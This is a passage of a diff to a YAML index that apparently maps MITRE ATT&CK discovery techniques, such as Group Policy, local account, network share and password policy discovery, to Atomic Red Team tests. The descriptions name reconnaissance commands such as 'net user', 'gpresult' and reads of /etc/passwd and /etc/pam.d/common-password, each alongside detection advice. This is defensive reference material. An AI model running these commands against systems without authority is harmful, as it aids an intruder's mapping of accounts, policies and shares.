+        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.
+
+        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
+      created: '2017-05-31T21:31:04.710Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       identifier: T1083
     atomic_tests:
     - name: File and Directory Discovery (cmd.exe)
@@ -56817,88 +58426,148 @@ discovery:
 
 '
         name: powershell
-  T1016.001:
+  T1615:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1016.001
-        url: https://attack.mitre.org/techniques/T1016/001
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Internet Connection Discovery
-      description: |-
-        Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), <code>tracert</code>, and GET requests to websites.
-
-        Adversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.
-      id: attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc
       type: attack-pattern
+      name: Group Policy Discovery
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Traffic Content'
+      - 'Active Directory: Active Directory Object Access'
+      - 'Script: Script Execution'
+      - 'Command: Command Execution'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.0'
+      modified: '2021-10-15T23:16:28.296Z'
+      created: '2021-08-06T13:10:12.916Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: discovery
-      modified: '2021-03-25T17:03:26.632Z'
-      created: '2021-03-17T15:28:10.689Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
+      id: attack-pattern--1b20efbf-8063-4fc3-a07d-b575318a301b
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: false
       x_mitre_permissions_required:
       - User
-      x_mitre_detection: |-
-        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Command and Control, based on the information obtained.
+      description: |-
+        Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predicable network path <code>\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\</code>.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)
 
-        Monitor processes and command-line arguments for actions that could be taken to check Internet connectivity.
+        Adversaries may use commands such as <code>gpresult</code> or various publicly available PowerShell functions, such as <code>Get-DomainGPO</code> and <code>Get-DomainGPOLocalGroup</code>, to gather information on Group Policy settings.(Citation: Microsoft gpresult)(Citation: Github PowerShell Empire) Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. [Domain Policy Modification](https://attack.mitre.org/techniques/T1484)) for their benefit.
+      x_mitre_contributors:
+      - Ted Samuels, Rapid7
+      - Jonhnathan Ribeiro, 3CORESec, @_w0rk3r
+      x_mitre_detection: |-
+        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.
+
+        Monitor for suspicious use of <code>gpresult</code>. Monitor for the use of PowerShell functions such as <code>Get-DomainGPO</code> and <code>Get-DomainGPOLocalGroup</code> and processes spawning with command-line arguments containing <code>GPOLocalGroup</code>.
+
+        Monitor for abnormal LDAP queries with filters for <code>groupPolicyContainer</code> and high volumes of LDAP traffic to domain controllers. Windows Event ID 4661 can also be used to detect when a directory service has been accessed.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1615
+        external_id: T1615
+        source_name: mitre-attack
+      - url: https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/
+        description: 'srachui. (2012, February 13). Group Policy Basics – Part 1:
+          Understanding the Structure of a Group Policy Object. Retrieved March 5,
+          2019.'
+        source_name: TechNet Group Policy Basics
+      - url: https://adsecurity.org/?p=2716
+        description: 'Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence
+          #17: Group Policy. Retrieved March 5, 2019.'
+        source_name: ADSecurity GPO Persistence 2016
+      - url: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult
+        description: Microsoft. (2017, October 16). gpresult. Retrieved August 6,
+          2021.
+        source_name: Microsoft gpresult
+      - source_name: Github PowerShell Empire
+        description: Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire.
+          Retrieved April 28, 2016.
+        url: https://github.com/EmpireProject/Empire
+    atomic_tests: []
+  T1016.001:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Internet Connection Discovery
       x_mitre_data_sources:
       - 'Process: Process Creation'
       - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2021-03-25T17:03:26.632Z'
+      created: '2021-03-17T15:28:10.689Z'
+      x_mitre_permissions_required:
+      - User
       x_mitre_platforms:
       - Windows
       - Linux
       - macOS
-    atomic_tests: []
-  T1087.001:
-    technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1087.001
-        url: https://attack.mitre.org/techniques/T1087/001
-      - source_name: Elastic - Koadiac Detection with EQL
-        url: https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql
-        description: 'Stepanic, D.. (2020, January 13). Embracing offensive tooling:
-          Building detections against Koadic using EQL. Retrieved November 30, 2020.'
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Local Account
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc
       description: |-
-        Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.
+        Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), <code>tracert</code>, and GET requests to websites.
 
-        Commands such as <code>net user</code> and <code>net localgroup</code> of the [Net](https://attack.mitre.org/software/S0039) utility and <code>id</code> and <code>groups</code>on macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the <code>/etc/passwd</code> file.
-      id: attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e
-      type: attack-pattern
+        Adversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: discovery
-      modified: '2021-04-13T21:39:08.728Z'
-      created: '2020-02-21T21:07:55.393Z'
-      x_mitre_contributors:
-      - Daniel Stepanic, Elastic
+      x_mitre_detection: |-
+        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Command and Control, based on the information obtained.
+
+        Monitor processes and command-line arguments for actions that could be taken to check Internet connectivity.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1016/001
+        external_id: T1016.001
+        source_name: mitre-attack
+    atomic_tests: []
+  T1087.001:
+    technique:
+      type: attack-pattern
+      modified: '2021-07-28T18:05:24.567Z'
+      name: Local Account
       x_mitre_data_sources:
       - 'Process: Process Creation'
       - 'Command: Command Execution'
       - 'File: File Access'
+      x_mitre_version: '1.2'
+      created: '2020-02-21T21:07:55.393Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: discovery
       x_mitre_permissions_required:
       - User
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e
+      description: |-
+        Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.
+
+        Commands such as <code>net user</code> and <code>net localgroup</code> of the [Net](https://attack.mitre.org/software/S0039) utility and <code>id</code> and <code>groups</code>on macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the <code>/etc/passwd</code> file. On macOS the <code>dscl . list /Users</code> command can be used to enumerate local accounts.
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      x_mitre_contributors:
+      - Daniel Stepanic, Elastic
       x_mitre_detection: |-
         System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
 
         Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
 
         Monitor for processes that can be used to enumerate user accounts, such as <code>net.exe</code> and <code>net1.exe</code>, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1087/001
+        external_id: T1087.001
+        source_name: mitre-attack
+      - url: https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql
+        description: 'Stepanic, D.. (2020, January 13). Embracing offensive tooling:
+          Building detections against Koadic using EQL. Retrieved November 30, 2020.'
+        source_name: Elastic - Koadiac Detection with EQL
       identifier: T1087.001
     atomic_tests:
     - name: Enumerate all accounts (Local)
@@ -57095,40 +58764,40 @@ discovery:
         name: command_prompt
   T1069.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1069.001
-        url: https://attack.mitre.org/techniques/T1069/001
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Local Groups
-      description: |-
-        Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.
-
-        Commands such as <code>net localgroup</code> of the [Net](https://attack.mitre.org/software/S0039) utility, <code>dscl . -list /Groups</code> on macOS, and <code>groups</code> on Linux can list local groups.
-      id: attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: discovery
-      modified: '2020-03-26T17:48:27.871Z'
-      created: '2020-03-12T19:29:21.013Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
-      x_mitre_detection: |-
-        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
-
-        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
+      name: Local Groups
       x_mitre_data_sources:
       - 'Process: Process Creation'
       - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2020-03-26T17:48:27.871Z'
+      created: '2020-03-12T19:29:21.013Z'
+      x_mitre_permissions_required:
+      - User
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b
+      description: |-
+        Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.
+
+        Commands such as <code>net localgroup</code> of the [Net](https://attack.mitre.org/software/S0039) utility, <code>dscl . -list /Groups</code> on macOS, and <code>groups</code> on Linux can list local groups.
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: discovery
+      x_mitre_detection: |-
+        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
+
+        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1069/001
+        external_id: T1069.001
+        source_name: mitre-attack
       identifier: T1069.001
     atomic_tests:
     - name: Permission Groups Discovery (Local)
@@ -57244,9 +58913,32 @@ discovery:
         name: powershell
   T1046:
     technique:
-      id: attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
       name: Network Service Scanning
+      x_mitre_data_sources:
+      - 'Command: Command Execution'
+      - 'Cloud Service: Cloud Service Enumeration'
+      - 'Network Traffic: Network Traffic Flow'
+      x_mitre_version: '2.2'
+      modified: '2021-04-09T14:56:26.562Z'
+      created: '2017-05-31T21:30:43.915Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: discovery
+      id: attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88
+      x_mitre_platforms:
+      - Windows
+      - IaaS
+      - Linux
+      - macOS
+      - Containers
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
+      - User
       description: "Adversaries may attempt to get a listing of services running on
         remote hosts, including those that may be vulnerable to remote software exploitation.
         Methods to acquire this information include port scans and vulnerability scans
@@ -57255,43 +58947,20 @@ discovery:
         Additionally, if the cloud environment is connected to a on-premises environment,
         adversaries may be able to identify services running on non-cloud systems
         as well."
-      external_references:
-      - source_name: mitre-attack
-        url: https://attack.mitre.org/techniques/T1046
-        external_id: T1046
-      - external_id: CAPEC-300
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/300.html
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: discovery
-      modified: '2021-04-09T14:56:26.562Z'
-      created: '2017-05-31T21:30:43.915Z'
-      x_mitre_platforms:
-      - Windows
-      - IaaS
-      - Linux
-      - macOS
-      - Containers
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
-      - User
+      x_mitre_contributors:
+      - Praetorian
       x_mitre_detection: |-
         System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
 
         Normal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.
-      x_mitre_data_sources:
-      - 'Command: Command Execution'
-      - 'Cloud Service: Cloud Service Enumeration'
-      - 'Network Traffic: Network Traffic Flow'
-      x_mitre_version: '2.2'
-      x_mitre_contributors:
-      - Praetorian
-      x_mitre_is_subtechnique: false
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1046
+        external_id: T1046
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/300.html
+        external_id: CAPEC-300
+        source_name: capec
       identifier: T1046
     atomic_tests:
     - name: Port Scan
@@ -57428,9 +59097,28 @@ discovery:
         name: powershell
   T1135:
     technique:
-      id: attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
       name: Network Share Discovery
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'Process: OS API Execution'
+      x_mitre_version: '3.1'
+      modified: '2021-10-13T18:10:57.185Z'
+      created: '2017-12-14T16:46:06.044Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: discovery
+      id: attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f
+      x_mitre_platforms:
+      - macOS
+      - Windows
+      - Linux
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
       description: "Adversaries may look for folders and drives shared on remote systems
         as a means of identifying sources of information to gather as a precursor
         for Collection and to identify potential systems of interest for Lateral Movement.
@@ -57440,48 +59128,31 @@ discovery:
         Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039)
         can be used to query a remote system for available shared drives using the
         <code>net view \\\\\\\\remotesystem</code> command. It can also be used to
-        query shared drives on the local system using <code>net share</code>."
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1135
-        url: https://attack.mitre.org/techniques/T1135
-      - external_id: CAPEC-643
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/643.html
-      - url: https://en.wikipedia.org/wiki/Shared_resource
-        description: Wikipedia. (2017, April 15). Shared resource. Retrieved June
-          30, 2017.
-        source_name: Wikipedia Shared Resource
-      - url: https://technet.microsoft.com/library/cc770880.aspx
-        description: Microsoft. (n.d.). Share a Folder or Drive. Retrieved June 30,
-          2017.
-        source_name: TechNet Shared Folder
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: discovery
-      modified: '2020-12-29T19:07:11.154Z'
-      created: '2017-12-14T16:46:06.044Z'
-      x_mitre_is_subtechnique: false
+        query shared drives on the local system using <code>net share</code>. For
+        macOS, the <code>sharing -l</code> command lists all shared points used for
+        smb services."
       x_mitre_contributors:
       - Praetorian
-      x_mitre_permissions_required:
-      - User
-      x_mitre_platforms:
-      - macOS
-      - Windows
-      - Linux
       x_mitre_detection: |-
         System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
 
         Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'Process: OS API Execution'
-      x_mitre_version: '3.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1135
+        external_id: T1135
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/643.html
+        external_id: CAPEC-643
+        source_name: capec
+      - source_name: Wikipedia Shared Resource
+        description: Wikipedia. (2017, April 15). Shared resource. Retrieved June
+          30, 2017.
+        url: https://en.wikipedia.org/wiki/Shared_resource
+      - source_name: TechNet Shared Folder
+        description: Microsoft. (n.d.). Share a Folder or Drive. Retrieved June 30,
+          2017.
+        url: https://technet.microsoft.com/library/cc770880.aspx
       identifier: T1135
     atomic_tests:
     - name: Network Share Discovery
@@ -57630,54 +59301,54 @@ discovery:
     technique:
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Network Sniffing
       external_references:
-      - source_name: mitre-attack
-        url: https://attack.mitre.org/techniques/T1040
+      - url: https://attack.mitre.org/techniques/T1040
         external_id: T1040
-      - external_id: CAPEC-158
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/158.html
+        external_id: CAPEC-158
         source_name: capec
-        url: https://capec.mitre.org/data/definitions/158.html
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.2'
+      modified: '2021-04-02T17:51:59.236Z'
+      x_mitre_system_requirements:
+      - Network interface access and packet capture driver
+      id: attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      - Network
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
       description: |-
         Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.
 
         Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.
 
         Network sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities.
-      name: Network Sniffing
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: credential-access
       - kill_chain_name: mitre-attack
         phase_name: discovery
-      modified: '2021-04-02T17:51:59.236Z'
-      created: '2017-05-31T21:30:41.399Z'
-      x_mitre_version: '1.2'
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
       x_mitre_detection: Detecting the events leading up to sniffing network traffic
         may be the best method of detection. From the host level, an adversary would
-        likely need to perform a [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557)
+        likely need to perform a [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)
         attack against other devices on a wired network in order to capture traffic
         that was not to or from the current compromised system. This change in the
         flow of information is detectable at the enclave network level. Monitor for
         ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network
         devices is a bit more challenging. Auditing administrator logins, configuration
         changes, and device images is required to detect malicious changes.
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      - Network
-      x_mitre_system_requirements:
-      - Network interface access and packet capture driver
-      x_mitre_is_subtechnique: false
+      created: '2017-05-31T21:30:41.399Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       identifier: T1040
     atomic_tests:
     - name: Packet Capture Linux
@@ -57810,52 +59481,62 @@ discovery:
         elevation_required: true
   T1201:
     technique:
-      id: attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Password Policy Discovery
-      description: |-
-        Adversaries may attempt to access detailed information about the password policy used within an enterprise network. Password policies for networks are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This would help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).
-
-        Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as <code>net accounts (/domain)</code>, <code>Get-ADDefaultDomainPasswordPolicy</code>, <code>chage -l <username></code>, <code>cat /etc/pam.d/common-password</code>, and <code>pwpolicy getaccountpolicies</code>.(Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies)
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1201
-        url: https://attack.mitre.org/techniques/T1201
-      - url: https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu
-        description: Matutiae, M. (2014, August 6). How to display password policy
-          information for a user (Ubuntu)?. Retrieved April 5, 2018.
-        source_name: Superuser Linux Password Policies
-      - url: https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines
-        description: Holland, J. (2016, January 25). User password policies on non
-          AD machines. Retrieved April 5, 2018.
-        source_name: Jamf User Password Policies
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
+      name: Password Policy Discovery
+      x_mitre_data_sources:
+      - 'User Account: User Account Metadata'
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.3'
+      modified: '2021-07-26T14:11:39.499Z'
+      created: '2018-04-18T17:59:24.739Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: discovery
-      modified: '2020-09-29T14:48:07.227Z'
-      created: '2018-04-18T17:59:24.739Z'
-      x_mitre_is_subtechnique: false
+      id: attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5
       x_mitre_platforms:
       - Windows
       - Linux
       - macOS
+      - IaaS
+      x_mitre_is_subtechnique: false
       x_mitre_permissions_required:
       - User
-      x_mitre_detection: Monitor processes for tools and command line arguments that
-        may indicate they're being used for password policy discovery. Correlate that
-        activity with other suspicious activity from the originating system to reduce
-        potential false positives from valid user or administrator activity. Adversaries
-        will likely attempt to find the password policy early in an operation and
-        the activity is likely to happen with other Discovery activity.
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
+      description: |-
+        Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).
+
+        Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as <code>net accounts (/domain)</code>, <code>Get-ADDefaultDomainPasswordPolicy</code>, <code>chage -l <username></code>, <code>cat /etc/pam.d/common-password</code>, and <code>pwpolicy getaccountpolicies</code> (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies).
+
+        Password policies can be discovered in cloud environments using available APIs such as <code>GetAccountPasswordPolicy</code> in AWS (Citation: AWS GetPasswordPolicy).
       x_mitre_contributors:
+      - Regina Elwell
+      - Isif Ibrahima
       - Sudhanshu Chauhan, @Sudhanshu_C
-      x_mitre_version: '1.2'
+      x_mitre_detection: Monitor logs and processes for tools and command line arguments
+        that may indicate they're being used for password policy discovery. Correlate
+        that activity with other suspicious activity from the originating system to
+        reduce potential false positives from valid user or administrator activity.
+        Adversaries will likely attempt to find the password policy early in an operation
+        and the activity is likely to happen with other Discovery activity.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1201
+        external_id: T1201
+        source_name: mitre-attack
+      - source_name: Superuser Linux Password Policies
+        description: Matutiae, M. (2014, August 6). How to display password policy
+          information for a user (Ubuntu)?. Retrieved April 5, 2018.
+        url: https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu
+      - source_name: Jamf User Password Policies
+        description: Holland, J. (2016, January 25). User password policies on non
+          AD machines. Retrieved April 5, 2018.
+        url: https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines
+      - url: https://docs.aws.amazon.com/IAM/latest/APIReference/API_GetAccountPasswordPolicy.html
+        description: Amazon Web Services. (n.d.). AWS API GetAccountPasswordPolicy.
+          Retrieved June 8, 2021.
+        source_name: AWS GetPasswordPolicy
       identifier: T1201
     atomic_tests:
     - name: Examine password complexity policy - Ubuntu
@@ -57992,35 +59673,15 @@ discovery:
         command: get-addefaultdomainpasswordpolicy
   T1120:
     technique:
-      created: '2017-05-31T21:31:28.471Z'
-      modified: '2020-03-26T17:42:03.337Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: discovery
       type: attack-pattern
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        url: https://attack.mitre.org/techniques/T1120
-        external_id: T1120
-      - external_id: CAPEC-646
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/646.html
-      description: Adversaries may attempt to gather information about attached peripheral
-        devices and components connected to a computer system. Peripheral devices
